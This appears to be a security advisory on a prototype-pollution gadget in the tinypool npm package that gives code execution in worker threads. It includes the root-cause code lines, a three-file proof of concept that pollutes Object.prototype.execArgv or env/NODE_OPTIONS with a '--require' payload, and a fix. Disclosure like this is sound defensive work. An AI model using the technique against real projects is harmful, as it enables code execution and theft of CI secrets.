Prototype Pollution In tinypool
Description
Tinypool: Prototype Pollution gadget in worker options leads to Remote Code Execution
tinypool passes worker options to new Worker() by reading them off a plain object whose prototype is Object.prototype. Options the application did not set are resolved through the prototype chain and then passed explicitly to worker_threads.Worker.
Node core ignores Worker options inherited from Object.prototype. By reading them and passing them explicitly, tinypool re-materialises them as own properties and defeats that protection.
Two keys reach code execution:
execArgv — polluting Object.prototype.execArgv = ['--require', '/path/to/attacker.js'] causes every pool worker to load the attacker's script.
env — polluting Object.prototype.env = { NODE_OPTIONS: '--require /path/to/attacker.js' } achieves the same via environment injection.
Root cause
dist/index.js lines 508-511:
env: this.options.env, argv: this.options.argv, execArgv: this.options.execArgv, resourceLimits: this.options.resourceLimits,
this.options is built at line 470 via object spread:
this.options = { ...kDefaultOptions, ...options, filename, maxQueue: 0 };
Impact
Arbitrary code execution inside every worker the pool spawns, with the privileges of the host process. Because tinypool is the worker pool behind Vitest (~42M downloads/week), the natural blast radius is developer machines and CI runners — an attacker who lands a prototype-pollution primitive anywhere in the dependency tree gets code execution in the build/test pipeline, which is a supply-chain foothold (access to CI secrets, signing keys, artifact publishing).
Proof of concept
Minimal reproduction (3 files):
worker.mjs — the application's own legitimate worker:
export default function double(n) { return n * 2 }
payload.js — attacker-controlled code (never referenced by the app):
const fs = require('fs') fs.writeFileSync('/tmp/RCE_PROOF.txt', 'code execution achieved, pid=' + process.pid) console.log('*** RCE ***')
app.js — normal tinypool usage:
const path = require('path') // Simulates an upstream PP source (lodash/qs/minimist/set-value/deepmerge) Object.prototype.execArgv = ['--require', path.join(__dirname, 'payload.js')] const { Tinypool } = require('tinypool') const pool = new Tinypool({ filename: path.join(__dirname, 'worker.mjs'),...
Run:
npm i tinypool@2.1.0 node app.js cat /tmp/RCE_PROOF.txt # attacker's code ran
Both execArgv and env vectors confirmed on Node 20.
Suggested fix
Resolve worker options with own-property semantics:
this.options = Object.assign(Object.create(null), kDefaultOptions, options, { filename, maxQueue: 0 });
Mitigation
Update Impact
Minimal update. May introduce new vulnerabilities or breaking changes.
Ecosystem | Component | Affected version | Patched versions |
|---|---|---|---|
npm | 2.1.1 |
Aliases
References